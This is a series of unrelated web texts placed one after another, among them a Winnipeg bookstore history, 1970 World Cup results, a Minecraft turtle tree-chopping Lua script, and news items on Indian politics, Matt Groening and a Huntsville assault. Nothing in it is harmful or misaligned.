In 1988, the McNallys began a partnership with the burgeoning Manitoba Writers' Guild to present an inaugural Manitoba literary award. The Guild would be responsible for soliciting submissions, picking a jury and publicizing the short list. The McNallys suggested a prize of $2,500 for the best book written by a Manitoban that year — at the time, it was the largest cash award for literature in Western Canada. The first winner was a collection of poetry, Recent Mistakes, by Winnipeg's Jan Horner.
The McNallys' vision soon had an effect on Manitoba publishers.
"There weren't any colour illustrated books about Manitoba before the McNallys opened their stores," said Gregg Shilliday of Great Plains Publishing. "They championed the homegrown histories that we published because they knew Toronto would never do it. They gave us a market."
Said David Carr of University of Manitoba Press: "Holly and Paul had an unflinching dedication to the idea that books are at the centre of our cultural and intellectual life — and especially that local books and writers matter. And they've done this against all odds, thanks to constant innovation, incredible determination and a wonderful staff."
McNally Robinson added a new store in Osborne Village in 1986 and one in Portage Place in 1987. Another store devoted to children's literature opened on Henderson Highway in 1995. As well, the original Kenaston store underwent two expansions. Still, the need to hold readings and book launches was somewhat stymied by a lack of space. Everyone who attended an author event had to stand.
"Serving wine out of a picnic cooler in a crowded store lost its allure," Holly said.
RUTH BONNEVILLE / WINNIPEG FREE PRESS FILES Self-publishers have a place to print their books at the store, which stocks as many as 750 self-published titles at a time.
Retailing in the '90s saw outlets evolving into big-box stores. In the U.S., bookseller chains went for mammoth-sized venues that included restaurants and easy chairs where customers could relax and read. Such stores seemed destined to become dominant, forcing independents to scale down and ultimately close.
The McNallys toured many of the major bookstores all over the continent and came home full of ideas and enthusiasm. By the spring of 1996, they knew it was time to go big, so they developed a plan that required them to risk everything.
A 21,000-square-foot store was built, set to open at the Grant Park Shopping Centre in autumn of that year. It was modelled after Denver's beloved Tattered Cover Book Store. There would be 100,000 titles for readers of all ages and tastes, with a combined café and event space, a large selection of magazines and a variety of non-book items, including CDs and DVDs. Canadian books would be emphasized, with a strong representation of local authors.
It opened Oct.15, 1996, the day after Thanksgiving Day, with Canada's best-known writer, Margaret Atwood, in attendance. She read from her novel Alias Grace and tirelessly autographed copies for those of the 1,000 people who wanted one. Pulitzer Prize-winning novelist Carol Shields, who lived in Winnipeg in those days, appeared at the opening and chatted briefly with Atwood.
A unique feature of the store was, and still is, the spiral staircase up to a mezzanine called McNally Robinson for Kids. This store-within-a-store offered the city's largest selection of classical and contemporary titles for kids, from cloth books for babies to genre novels for early teens.
"I recall walking into the store for the first time, looking at the curving staircase and row after row of glorious books and thinking, "I'm home!" customer Lisa Sykes recalled. "All three of our kids spent a lot of time in the children's department, and I can still see the transition from carrying them up the curvy staircase, to holding tightly to their hand, nervously watching as they held the bannister and made the climb on their own for the first time, and then watching proudly as they raced up the stairs to start searching for books."
Both the Kenaston and Osborne Village stores closed down the weekend before the Grant Park store opened. Inventory was moved over swiftly — the McNally Robinson venues were dark for only two days. The Portage Place store continued and even expanded, flourishing until it moved to Polo Park in 2008.
In 1998, the company opened a store in Saskatoon, which is still going strong. McNally Robinson for Kids continued on Henderson Highway, but eventually closed its retail operation, became Skylight Books and moved into the wholesale side of the business, dealing with libraries and schools, from a location on Market Street downtown. Other expansions — to Calgary and Toronto — did not fare so well and were closed in 2005 and 2010, respectively. The 2009 economic downturn hurt the Toronto location and Polo Park store, which closed in 2010.
DAVID LIPNOWSKI / WINNIPEG FREE PRESS FILES McNally Robinson couldn't escape the economic downturn, having to close its Polo Park location and Toronto store.
Paul and Holly's love of books extended to their children. Daughter Jennifer ran the kids section of the Toronto store for a short time and now is an editor for Owl Magazine. Sarah opened a bookstore in New York's SoHo district under the McNally Robinson banner but changed the name to McNally Jackson. It is thriving, running events regularly. Tory was a manager in the Winnipeg store, then Calgary and Toronto before leaving to be a mother. Emily has worked in the Winnipeg store, and is now studying law in England.
During the past few years, the McNallys had been winding down their involvement, though Paul, indulging his woodworking avocation, built cabinets for the store, remodelled the restaurant (originally called Café au Livre and now Prairie Ink) and created a classroom.
This last effort — the community classroom —offers courses in everything from First Nations art to conversational French to John Einarson's rock 'n' roll sessions. Ron Robinson has returned to the scene with classes on Sherlock Holmes.
Steve Benstead, the longest-serving employee, calls the store "a miracle on the prairie."
Benstead met Holly at Canada Book Week in the spring of 1983, when he was helping another bookseller. Holly hired him to deal specifically with selling to libraries and schools.
"Our store became the place to be, " Benstead said. "People came not just to browse and attend events but to hang out, to be seen here."
The ambience is often remarked upon by visitors. It is something the McNallys took seriously — so much so that there is a full-time display coordinator for the adult areas and another half-time position in Kids.
One of the store's best customers is Marjorie Poor, who buys about 285 books a year.
"I really do intend to finish most of the books I start, but I read so many at once that some inevitably get put aside until something brings them back to the top of the pile," Poor said. "Starting novels helps me to pay closer attention at readings. I listen more attentively if I've at least entered the world of the material beforehand."
John Toews used to visit the store as a boy and always wanted to work there. He has now been events co-ordinator for five years. Last May, he received an honorary membership in the League of Canadian Poets for his support of poetry.
Toews plans more than 450 events per year. Some come about through contacting publishers when a fairly well-known author is touring the country; most result from publishers and writers approaching Toews. Each writer is different and attracts a different crowd. Toews loves the variety — there have even been launches that involved live owls, falcons and dogs.
McNally Robinson has been supportive of the recent wave of self-published books — they stock as many as 750 titles at a time — and will even design and print your book. Donovan Gray is a local writer whose self-published Dude, Where's My Stethoscope? benefited from a McNally launch and promotion. Dude was on the McNally bestseller list for 26 weeks and was No. 1 for 10 of those weeks.
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New co-owners Baker and Hall and staff continue to nurture what the McNallys created: the largest independent bookstore in Canada.
Hall started with the company in 1996. He managed the literature section, and being a self-proclaimed "hands-on guy," he continues to look after that section. Baker started in 2007 as the controller and is responsible for accounting and finance, as well as the restaurant.
Bestselling author Miriam Toews, who now lives in Toronto, once worked in the Winnipeg store. She is forever grateful to the McNallys. "I had kids and no money when Paul and Holly took a chance on me and gave me my first real job in what was one of my favourite places in the world, and after my first book was published by Turnstone, they continued to support the bejesus out of me! And everybody else.
"The book launches, the readings, the tables of books, the displays, the newsletters — the relentless attention they gave to Manitoba authors was absolutely instrumental in building our careers. I am eternally grateful."
Dave Williamson is a Winnipeg writer and former dean of business and applied arts at Red River College, where he founded the creative communications program. His most recent books are Dating, a novel, and Changing People's Lives: An Illustrated History of Red River College.Every year, in conjunction with the release of the #NFLRank rollout on ESPN.com, Football Outsiders has provided an audit of the list. Once again this year, we're pointing out players in the top 100 we feel were particularly overrated or underrated by the ESPN voters. Remember, of course, that "overrated" does not mean "bad." A player might be overrated because he's one of the 40 or 50 best players in the NFL, but not one of the top dozen. For example...
Overrated
Andy Clayton-King/AP Photo
Minnesota Vikings RB Adrian Peterson (No. 12)
When we did this last year, Peterson ranked No. 11, and we listed him as overrated. Here we are again one year later. We're sorry to keep hammering it home, but understanding why Adrian Peterson is not one of the 12 best players in the NFL is important for understanding the modern NFL game. Passing is more important than rushing, and efficiency is more important than raw totals.
Peterson led the NFL in rushing yards and touchdowns last season. He's a really good player. But he led the league in those stats because he led the league with 327 carries. No other running back had more than 290 carries. That's an entire extra game of carries Peterson had compared with every other running back in the league.The Guano Islands Act (11 Stat. 119, enacted August 18, 1856, codified at 48 U.S.C. ch. 8 §§ 1411-1419) is a United States federal law passed by the U.S. Congress that enables citizens of the United States to take possession, in the name of the United States, of unclaimed islands containing guano deposits. The islands can be located anywhere, so long as they are not occupied and not within the jurisdiction of another government. It also empowers the President of the United States to use the military to protect such interests and establishes the criminal jurisdiction of the United States in these territories.
Whenever any citizen of the United States discovers a deposit of guano on any island |
Cup ball to use the now-familiar truncated icosahedron for its design, consisting of 12 black pentagonal and 20 white hexagonal panels.[92][93] The 32-panel configuration had been introduced in 1962 by Select Sport,[94][95] and was also used in the official logo for the 1970 World Cup.[96] The black-and-white pattern, to aid visibility on black and white television broadcasts (which was still commonplace then, as colour television was rare in many parts of the world), was also well established before the Telstar.[95][97] The name came from the Telstar communications satellite, which was roughly spherical and dotted with solar panels, somewhat similar in appearance to the football.[92]
Merchandise [ edit ]
Forming a partnership with FIFA in 1970, Panini published its first FIFA World Cup sticker album for the 1970 World Cup, initiating a global craze for collecting and trading stickers.[98][99][100] In 2017, a complete 1970 World Cup Panini sticker album signed by Pelé sold for a record £10,450.[101][102]
Results [ edit ]
Champion Runner-up Third place Fourth place Quarter-finals Group stage
Group stage [ edit ]
The first round, or group stage, saw the 16 teams divided into four groups of four teams. Each group was a round-robin of six games, where each team played one match against each of the other teams in the same group. Teams were awarded two points for a win, one point for a draw and none for a defeat. The teams finishing first and second in each group qualified for the quarter-finals, while the bottom two teams in each group were eliminated from the tournament.
Tie-breaking criteria
Greater number of points in all group matches Goal difference in all group matches (replacing the previous usage of goal average) Drawing of lots by the FIFA Organising Committee
Group 1 [ edit ]
Pos Team Pld W D L GF GA GD Pts Qualification 1 Soviet Union 3 2 1 0 6 1 +5 5 Advance to knockout stage 2 Mexico 3 2 1 0 5 0 +5 5 3 Belgium 3 1 0 2 4 5 −1 2 4 El Salvador 3 0 0 3 0 9 −9 0
Note: Having finished level on both points and goal difference, the Soviet Union and Mexico were separated by the drawing of lots.
Group 2 [ edit ]
Pos Team Pld W D L GF GA GD Pts Qualification 1 Italy 3 1 2 0 1 0 +1 4 Advance to knockout stage 2 Uruguay 3 1 1 1 2 1 +1 3 3 Sweden 3 1 1 1 2 2 0 3 4 Israel 3 0 2 1 1 3 −2 2
2 June 1970 Uruguay 2–0 Israel 3 June 1970 Italy 1–0 Sweden 6 June 1970 Uruguay 0–0 Italy 7 June 1970 Sweden 1–1 Israel 10 June 1970 Uruguay 0–1 Sweden 11 June 1970 Israel 0–0 Italy
Group 3 [ edit ]
Pos Team Pld W D L GF GA GD Pts Qualification 1 Brazil 3 3 0 0 8 3 +5 6 Advance to knockout stage 2 England 3 2 0 1 2 1 +1 4 3 Romania 3 1 0 2 4 5 −1 2 4 Czechoslovakia 3 0 0 3 2 7 −5 0
2 June 1970 Romania 0–1 England 3 June 1970 Czechoslovakia 1–4 Brazil 6 June 1970 Romania 2–1 Czechoslovakia 7 June 1970 England 0–1 Brazil 10 June 1970 Romania 2–3 Brazil 11 June 1970 England 1–0 Czechoslovakia
Group 4 [ edit ]
Pos Team Pld W D L GF GA GD Pts Qualification 1 West Germany 3 3 0 0 10 4 +6 6 Advance to knockout stage 2 Peru 3 2 0 1 7 5 +2 4 3 Bulgaria 3 0 1 2 5 9 −4 1 4 Morocco 3 0 1 2 2 6 −4 1
Knockout stage [ edit ]
The eight teams that had advanced from the group stage entered a single-elimination style tournament, which also featured a third place play-off contested between the two losing semi-finalists. In this knockout stage (including the final), if a match was level at the end of 90 minutes, extra time of two periods (15 minutes each) would be played. In matches prior to the final, if the score was still level after extra time then a coin toss by the referee would determine the winner. If the final was still level after 120 minutes' play then the match would instead be replayed at a later date.
All times listed local (UTC−6)
Match for third place [ edit ]
Final [ edit ]
Statistics [ edit ]
Goalscorers [ edit ]
With 10 goals, Gerd Müller was the top scorer in the tournament. In total, 95 goals were scored by 55 players, with only one of them credited as own goal.
10 goals
7 goals
5 goals
4 goals
3 goals
|}
2 goals
1 goal
1 own goal
Awards [ edit ]
FIFA retrospective ranking [ edit ]
In 1986, FIFA published a report that ranked all teams in each World Cup up to and including 1986, based on progress in the competition, overall results and quality of the opposition.[22][104] The rankings for the 1970 tournament were as follows:
R Team G P W D L GF GA GD Pts. 1 Brazil 3 6 6 0 0 19 7 +12 12 2 Italy 2 6 3 2 1 10 8 +2 8 3 West Germany 4 6 5 0 1 17 10 +7 10 4 Uruguay 2 6 2 1 3 4 5 −1 5 Eliminated in the quarter-finals 5 Soviet Union 1 4 2 1 1 6 2 +4 5 6 Mexico 1 4 2 1 1 6 4 +2 5 7 Peru 4 4 2 0 2 9 9 0 4 8 England 3 4 2 0 2 4 4 0 4 Eliminated in the group stage 9 Sweden 2 3 1 1 1 2 2 0 3 10 Belgium 1 3 1 0 2 4 5 −1 2 Romania 3 3 1 0 2 4 5 −1 2 12 Israel 2 3 0 2 1 1 3 −2 2 13 Bulgaria 4 3 0 1 2 5 9 −4 1 14 Morocco 4 3 0 1 2 2 6 −4 1 15 Czechoslovakia 3 3 0 0 3 2 7 −5 0 16 El Salvador 1 3 0 0 3 0 9 −9 0
* Listed as #13 in one of the sources[104]
** Listed as #12 in one of the sources[104]A glittering event on May 26, attended by leaders from neighbouring countries, top politicians and holy men, promissed to "script a glorious future for India." It was the day on which the country crowned Narendra Damodardas Modi its Prime Minister, bringing back the era of NDA.
With the vow to revive the economy from its worst slump in a quarter century with a slew of measures, the Modi-led NDA exuded the image of a government with a mandate.
However, no government is free of controversies. As the 'Modi sarkar' completes its first 30 days in office on Tuesday, we take a look at the top 10 incidents that triggered a row.
Article 370 row:
A row errupted after minister of state in the Prime Minister’s Office (PMO) Jitendra Singh claimed that the process to repeal Article 370 — which provides special status to Jammu and Kashmir (J-K) — had begun.
The remark drew sharp reactions with J&K chief minister Omar Abdullah saying that Article 370 was the only constitutional link between the state and the rest of India.
Read more...
Smriti Irani's educational qualification row:
Smriti Irani was at the centre of the controversy over her educational qualifications and a mismatch in the information provided by her in two election affidavits after taking charge as the human resource development minister.
When contesting the 2004 Lok Sabha elections, she mentioned her qualifications as Bachelor of Arts (BA) which she passed in 1996 from DU's School of Correspondence.
However, in her affidavit for this year's Lok Sabha election, the actor-turned-politician mentioned her educational qualification as "Bachelor of Commerce Part I, School of Open Learning (Correspondence), University of Delhi - 1994."
Read more...
BJP leader Smriti Irani during the interview at her residence in Delhi on April 1, 2014. (Photo by Raj K Raj/Hindustan Times)
Controversy over IB report on NGOs:
The report by IB alleged that NGOs such as Greenpeace had been "stalling development projects". Greenpeace, an international NGO which works on environment issues, rejected the allegations in the report.
The IB report also stated that several Gujarat-based NGOs campaigned against the government. It reportedly said that organisations such as the Maldhari Rural Action Group, People's Union of Civil Liberties, and others had been protesting against the government.
Read more...
Row over Nihalchand's name in a rape case:
Nihalchand Meghwal and 16 others were named in an FIR lodged by a 24-year-old married woman from Jaipur. In the FIR filed in 2011, she alleged that the accused had sexually exploited her.
Workers of Mahila Congress staged a protest outside BJP office in New Delhi seeking Meghwal's resignation.
Read more...
Row over government's stand to promote Hindi on social media:
A Union home ministry circular on May 27 had asked all ministries, public sector undertakings and banks to give preference to Hindi over English on their social media accounts.
Many parties criticised the NDA government for the move on Friday, even as Shiv Sena and Samajwadi Party backed the promotion of Hindi. Congress advised prudence, expressing fear that such directions may result in a backlash in non-Hindi states, especially Tamil Nadu.
Read more...
A file photo of Rajnath Singh. (HT photo)
Heptullah's comment on Muslim reservation:
Minority affairs minister Najma Heptullah, the senior-most members of the newly sworn-in council of ministers, said the minorities needed a “level playing field” in society, but reservation was not the answer.
“Reservation on the basis of religion is not permissible under the Constitution. Nor is it the solution. It kills the spirit of competition,” she said.
Read more...
Delhi University's FYUP row:
The University Grants Commission had ordered Delhi University to scrap the Four-Year Undergraduate Programme (FYUP).
According to the UGC order, the university would have to make arrangements for students to migrate to the three-year undergraduate programme structure so that they do not lose a year for obtaining an undergraduate degree. It also said that the university has to make sure that the students acquire necessary academic and other competence during the remaining two years.
Read more...
ABVP activists protest against the four-year undergraduate programme (FYUP) of Delhi University in New Delhi. (PTI Photo)
Row over removal of UPA governors:
The Centre continued with its move to clear Raj Bhawans of UPA appointees and on June 19 asked all members of the National Disaster Management Authority (NDMA) and National Council of Women (NCW) to resign.
The move came on a day President Pranab Mukherjee accepted the resignation of Chhattisgarh governor Shekhar Dutt, the second governor to have quit following a nudge.
The move drew a sharp reaction from political parties with Congress saying the government's priority should be to combat inflation and not "shadow boxing" while JD(U) demanded a debate in Parliament over the very need of having Governors.
Read more...
Idea of scrapping/reducing Planning Commission:
Controversy errupted after reports that the all-powerful Planning Commission may shrink, made more accountable, and forced to think long-term under the new government. The reports stated that Prime Minister-designate Narendra Modi is likely to dilute its over-arching financial powers and convert it into a developmental think-tank.
The Planning Commission was set up by India’s first Prime Minister Jawaharlal Nehru to assess funds available to with the government and how best they should be spent for social and economic growth.
Read more...
Row over VK Singh's comment on appointment of new army chief:
The controversy came in the wake of an affidavit filed in the Supreme Court by the ministry of defence (MoD), which was critical of VK Singh for taking "illegal and premeditated" decisions.
The affidavit was filed by the MoD in response to a petition filed by Lt Gen Ravi Dastane, who is seeking the apex court's intervention to stay the appointment of Lt Gen Singh as the next army chief.
Read more...
A photo of ex-Army chief VK Singh. (HT photo)
Full coverage:All about Narendra Modi Sarkar
First Published: Jun 23, 2014 16:34 ISTThe world belongs to the energetic. If they be dreamers too, then theirs will be a beautiful world.
Frederik and Gerrit Braun, energetic twin brothers with no shortage of dreams, have just finished construction of the world’s largest model airport. With 40,000 lights, 15,000 figurines, 500 cars, 10,000 trees, 50 trains, 1000 wagons, 100 signals, 200 switches, 300 buildings and 40 planes, Knuffingen Airport is both a wonder to behold as well as a technological tour de force. The best part of Knuffingen is that it’s alive. Forty planes and 90 vehicles move about autonomously.
Located in Hamburg, Germany, the model is based on Hamburg Airport. The level of detail throughout the 1:87 scale Knuffingen is phenomenal. Everywhere you look there’s an incredible amount of diversity: the miniaturized people’s clothing, the colors of the parking lot shrubbery, the different types of cars, all give the airport an impressive realistic feel. Like real airports the model is bustling with activity: packed parking lots, scores of passengers–albeit frozen–moving into and out of the terminals, circulating taxi cabs and busses, different types of aircraft from Airbus 380s to Cessnas, even a squad of fire trucks standing ready in the event of an emergency. Blinking lights and bustling crowds seem to be everywhere. Just looking at the model closeups gives me real airport anxiety!
Watch the video below to see this incredible model in action.
The technology controlling the vehicles is based on the Faller Car System in which a magnet, attached to the steering arm guides the vehicle along a steel wire beneath the road’s surface as it’s driven by a battery-operated motor. To manage the complexity of coordinating the movements of 90 vehicles the Brauns added a sophisticated computer control system. Each vehicle has its own processor that “assesses its situation” 20 times a second. The rules of the roads are determined by virtual street signs that tell the vehicles which roads they can drive down (TARMAC: DO NOT ENTER) or when they have to stop at a stop sign or red light. They even detect other vehicles and avoid them as when one merges into traffic. And a vehicle can either have a set destination–as a bus hitting its stops or a fire truck responding to an emergency–or it can simply cruise the streets. They even wait patiently behind other vehicles in the event of traffic.
Sophisticated indeed.
But an airport’s not an airport unless its planes can taxi, takeoff, and land. Knuffingen’s fleet can do all that. They don’t actually fly but are lifted off the ground by small wires. You can tell from the video that the Brauns made sure that the speed of their planes’ takeoff and landing motions were also to scale. The realism is impressive as the planes come in, back wheels touching first before the front wheel noses gently down.
The airport, roughly 150 square meters (over 1,600 square feet), is breathtaking to behold. But the Brauns’ masterpiece is even more than an autonomous feast for the eyes: it’s interactive. Visitors can push buttons on the railing surrounding the model airport to induce up to 11 different programmed scenarios. A visitor who pushes the button labeled “Fire incident” will see smoke begin to billow out of a house, and then actual flames. The fire house will sound the alarm and begin flashing its lights. Moments later the fire brigade–3-4 vehicles located randomly about the airport–will turn on their lights and start heading towards the fire. At intersections the fire engines will sound their horns and cars will yield the right of way. Meanwhile the fire grows bigger! After the fire engines converge on the burning house the PC decides whether or not the fire has been successfully put out. If not, another alarm is sounded and additional fire engines (up to 35!) from the neighborhood come to the rescue.
Now that’s just awesome.
The fire incident is the only programmed scenario described on Knuffingen’s website. I can only imagine what other fun scenarios visitors will be awed with. I wonder if they have a scenario called “Fight over parking space.”
If you’re anything like me you’re officially blown away right now and you’re thinking, “What else could they possibly do to make this thing cooler?” What if I told you that Knuffingen Airport is just the latest section addition to a world the Brauns have dubbed Miniatur Wunderland?
Seven sections came before the airport.
Begun in 2000, Wunderland’s eight sections cover 1,150 square meters (over 12,000 square feet). The seven sections in place before Knuffingen Airport include: Harz (Germany), Knuffingen (Germany), Austria, Hamburg coast, America, Scandanavia, and Switzerland. They plan to add the French Mediterranean coast and Italy by the end of 2012. Each of these miniaturized worlds is unique and beautiful in its own right. If you visit Scandanavia you’ll see multiple ships cruising the North Sea, guided by an autonomous control system similar to the vehicle control system of Knuffingen Airport. You can glimpse these amazing worlds on the Miniatur Wunderland website.
“We are going to build the largest model railway in the world,” Fred Braun told his twin brother, Gerrit, back in the summer of 2000. Even when they were children the two dreamed big. Back then they dreamed of compiling the world’s largest Mickey Mouse comic book collection. With the models of Miniatur Wunderland, the brothers’ fondness for childish things has matured into a very grown up endeavor.
The Knuffingen Airport alone took seven years to build and cost $4.8 million. The whole of Miniatur Wunderland is the product of more than 150 people and about half a million hours of work. Financed through tour fees, the attraction is one of the most visited sites in all of Germany. However money, according to the Brauns, is not why they built the Wunderland. As they state on the museum’s website: “For us, people are more important than money. People and employees aren’t factors and figures in our balance sheets, but unique individuals with different qualities and characters. Exactly this attitude is transparent on every single square meter of Wunderland’s ground.”
It’s reassuring to know that people like Frederik and Gerrit Braun, people who have the energy and courage to follow their dreams of questionable practicality. I can only imagine the armies of nay-sayers that stood in their path between dream and reality. Lucky for us the Braun twins don’t give up easily. Their dreams are now part of our reality too.Logger Gellis12 Apr 7th, 2014 ( edited ) 346 Never 346Never
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rawdownloadcloneembedreportprint Lua 1.32 KB print ( "Attempting to get position via GPS" ) local x, y, z = gps. locate ( 5 ) if x == nil then print ( "Unable to determine position using GPS, using 0 for default height" ) y = 0 else y = math.floor ( y ) print ( "Height is ", y, ", adjusting movements for GPS" ) end minHeight = y for i = 1, 2 do turtle. dig ( ) turtle. forward ( ) end while turtle. detectUp ( ) do turtle. dig ( ) turtle. digUp ( ) if ( turtle. up ( ) ) then y = ( y + 1 ) else turtle. attackUp ( ) end end turtle. dig ( ) turtle. turnRight ( ) turtle. dig ( ) turtle. forward ( ) turtle. turnLeft ( ) while ( y > minHeight ) do turtle. dig ( ) turtle. digDown ( ) if ( turtle. down ( ) ) then y = ( y - 1 ) else turtle. attackDown ( ) end end x, y, z = gps. locate ( 5 ) if y == nil then y = 0 end y = math.floor ( y ) while ( y > minHeight ) do turtle. attackDown ( ) turtle. digDown ( ) turtle. attack ( ) turtle. dig ( ) turtle. down ( ) x, y, z = gps. locate ( 5 ) y = math.floor ( y ) end turtle. dig ( ) -- Plant new 2x2 tree turtle. place ( ) turtle. turnRight ( ) turtle. back ( ) turtle. place ( ) turtle. turnLeft ( ) turtle. place ( ) turtle. back ( ) turtle. place ( ) turtle. back ( ) -- Move items into chest for i = 1, 2 do turtle. turnLeft ( ) end for i = 2, 16 do turtle. select ( i ) turtle. drop ( ) end turtle. select ( 1 ) for i = 1, 2 do turtle. turnRight ( ) end print ( "Tree chopped!" )
RAW Paste Data
print("Attempting to get position via GPS") local x, y, z = gps.locate(5) if x == nil then print("Unable to determine position using GPS, using 0 for default height") y = 0 else y = math.floor(y) print("Height is ",y,", adjusting movements for GPS") end minHeight = y for i=1,2 do turtle.dig() turtle.forward() end while turtle.detectUp() do turtle.dig() turtle.digUp() if (turtle.up()) then y = (y + 1) else turtle.attackUp() end end turtle.dig() turtle.turnRight() turtle.dig() turtle.forward() turtle.turnLeft() while (y > minHeight) do turtle.dig() turtle.digDown() if (turtle.down()) then y = (y - 1) else turtle.attackDown() end end x, y, z = gps.locate(5) if y == nil then y = 0 end y = math.floor(y) while (y > minHeight) do turtle.attackDown() turtle.digDown() turtle.attack() turtle.dig() turtle.down() x, y, z = gps.locate(5) y = math.floor(y) end turtle.dig() -- Plant new 2x2 tree turtle.place() turtle.turnRight() turtle.back() turtle.place() turtle.turnLeft() turtle.place() turtle.back() turtle.place() turtle.back() -- Move items into chest for i=1,2 do turtle.turnLeft() end for i=2,16 do turtle.select(i) turtle.drop() end turtle.select(1) for i=1,2 do turtle.turnRight() end print("Tree chopped!")The People’s Republic of China (PRC) and the World Jewish Congress (WJC) will host, for the first time, an event commemorating the 70th anniversary of the liberation of the Shanghai Ghetto and the end of World War II in China.
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The event was announced following a recent meeting in London between WJC CEO Robert Singer and PRC Minister of the Overseas Chinese Affairs Office Qiu Yuanpin.
Chinese Jews Shanghai museum unveils wall commemorating WWII Jewish refugees Ynetnews Some 20,000 Jewish refugees fled Europe for China during World War II: 'Shanghai was the only city that opened its gates for Jewish refugees. We will never forget what this city has done for us.' Shanghai museum unveils wall commemorating WWII Jewish refugees
"China is one of the top players in international affairs, and it is in the best interests of world Jewry that we forge even closer relations with Beijing," Singer said at the meeting.
The Shanghai Ghetto – formally known as the Restricted Sector for Stateless Refugees – was home to about 23,000 Jewish refugees in Japanese-occupied Shanghai until its liberation by the Chinese on September 3, 1945 at the end of World War II.
Commemorating part of the Holocaust 'that tends to get less attention' (Photo: AP)
The WJC has been developing relations with China since 1991 and was instrumental in paving the way for the establishment of full diplomatic relations between Israel and the PRC in 1992.
"We will commemorate, for the first time, part of the Holocaust that tends to get less attention," said Ronald S. Lauder, president of the WJC. "This historic event also marks another step towards strengthening the bonds between the Chinese and Jewish people."
Lauder will chair the event, which will take place in September and include 100 WJC representatives from Jewish communities around the world, representatives of the People’s Republic of China, and survivors of the Shanghai Ghetto.
"It is our shared duty to promote the mutual understanding, friendship, exchange and cooperation between the overseas Chinese and Jewish people," said Qiu Yuanpin. "Both Chinese and Jewish nations have suffered at the hands of Fascist forces, but, ultimately, achieved final victory after unyielding struggle. We hope to commemorate this historic moment."Astronomy Picture of the Day Discover the cosmos! Each day a different image or photograph of our fascinating universe is featured, along with a brief explanation written by a professional astronomer. 2017 September 2
Milky Way Voyager
Poster Illustration Credit: NASA, JPL-Caltech, Voyager
Explanation: Launched in 1977 on a tour of the outer planets of the Solar System, Voyager 1 and 2 have become the longest operating and most distant spacecraft from Earth. Nearly 16 light-hours from the Sun, Voyager 2 has reached the edge of the heliosphere, the realm defined by the influence of the solar wind and the Sun's magnetic field. Now humanity's first ambassador to the Milky Way, Voyager 1 is over 19 light-hours away, beyond the heliosphere in interstellar space. Celebrate the Voyagers' 40 year journey toward the stars with NASA on September 5.This post was contributed by a community member.
Matt Groening, whose crudely drawn cartoon strip for an alternative newspaper led to the creation of The Simpsons, received the 2,461st star on the Hollywood Walk of Fame Tuesday.
Hank Azaria, who supplies the voices of Springfield Police Chief Clancy Wiggum, bartender Moe Szyslak and several other Simpsons characters, Yeardley Smith, who supplies the voice of Maggie Simpson, and Nancy Cartwright, who provides the voice of Bart Simpson, were among those joining Groening at the ceremony at 7021 Hollywood Blvd., near the star for The Simpsons.
Groening's star is also near the Walk of Fame stars of Walt Disney and Peanuts creator Charles M. Schulz.
The ceremony came five days before The Simpsons 500th episode airs on Fox. The animated series about a dysfunctional family is the longest-running scripted series in prime-time television history.
Born Feb. 15, 1954, in Portland, Ore., Groening graduated from The Evergreen State College in Olympia, Wash., in 1977, then moved to Los Angeles, seeking to become a writer, but instead ended up working at a record shop.
Increasingly frustrated by the traffic, smog and his landlord, Groening vented his angst to his friends by sending them cartoons starring a bug-eyed rabbit named Binky. He would go on to sell the cartoons at the record shop.
Groening was hired by the now-defunct alternative newspaper Los Angeles Reader, which he helped deliver, typeset and edit. The newspaper began publishing the comic strip featuring Binky, Life in Hell, beginning in April 1980.
Movie and television producer James L. Brooks eventually approached Groening about creating animated shorts to fit between the sketches of The Tracey Ullman Show. Instead of using characters from Life in Hell, he created the Simpsons, which bear the names of his family members — his father Homer, mother Marge and sisters Lisa and Maggie.
Instead of naming a character after himself, he chose Bart, an anagram for brat.
The Simpsons premiered as a series on Jan. 14, 1990, eventually spawning a merchandising empire, along with a theme park ride and series of U.S. postage stamps Groening designed.
Groening was also a producer and writer on The Simpsons Movie, which was released in 2007.
He created the animated series Futurama, which aired on Fox from 1999-2003, then was revived by Comedy Central, which has aired original episodes since 2008.
Groening has won 10 Emmys as a producer of The Simpsons and two for Futurama.We still believe in Kinect. We arent interested in splitting the development base. The more demos Ive seen, the more Ive used it the more impressed I am. The team feels strongly about Kinect, and I hope were able to prove that when you use it.
We also have a ton of privacy settings to allow people to turn off the camera, or microphones, or put it in a state just for Xbox On and IR blasting there will be a lot of user control for that.
The thing we all understood, and hence this change, is that there are some scenarios where people just may not be comfortable. We wanted people to be 100% comfortable, so we allow the sensor to be unplugged. And clearly the it dropped scenario is possible.
The most obvious thing is watching a DVD/BD, or streaming a movie, or HDMI pass-through, your experience isnt impacted (except you miss voice and IR blasting)
There is no gotcha, but obviously, if there is a game that REQUIRES Kinect (like Rivals), or something where Kinect IS the experience (like Skype), those wont work.
That said, for people who have privacy concerns there are user control settings, which we believe are great.A man beaten outside of a downtown Huntsville bar said he was attacked for being gay and police left it out of the report.
Gary Bravo said two men beat him and used anti-gay slurs after he tried to stop the two men from accosting his female friend Friday, June 5. Bravo spoke at a press conference held at Free2be Safe office in Huntsville on Wednesday.
Bravo said police left his statements about his attackers using anti-gay slurs out of the report.
"You're an officer of the law," Bravo said. "You should not object to putting something in a report. Everything should be taken down. It should not be ignored just because I'm a gay man and you don't want to hear it."
Lt. Darryl Lawson, communications relation officer with the Huntsville Police Department, said that type of information is not included in a report, just a narrative of the incident.
"We won't necessarily put in (the report) he said this, she said that," Lawson said.
Lawson said he was unaware of Bravo or any witness telling police officers that anti-gay slurs were said by the attackers.
Alabama's hate crime law does not apply to sexual orientation, but if it did, Lawson said, it would not be a factor at this point in the case.
"It would still be an assault-second charge," Lawson said. "The only time the hate crime law comes into play is as an enhancement to whatever the sentencing is."
Bravo described his attackers as a white man with a beard, and a black man with dreadlocks. He said he and his female friend had just bought hot dogs outside of Sammy T's when one of the men grabbed his friend's arm. Bravo stepped in and told them to leave her alone.
"The next thing I remember, is being swung around and being swung at," Bravo said. "I ducked, and then after that my memory goes blank."
Bravo believes the attack was motivated by his sexual orientation.
"When you use f----- and a few other choice words that are not appropriate for all ages, you know it's directed to you," Bravo said. "It's not just a normal fight."
The attack left Bravo with four broken bones in his face, a fractured ankle and he has not regained full vision in his right eye yet.
"I've been in and out of doctor's offices non-stop," Bravo said.
Free2be Safe Anti-Violence Project set up a special fund for Bravo and have raised approximately $1,800 of their $2,500 goal, according to James Robinson, Free2Be executive director.
Robison said police took Bravo's statement while he still had a head injury.
"(Bravo) was in shock," Robinson said. "He didn't even remember talking to the second officer in the hospital."
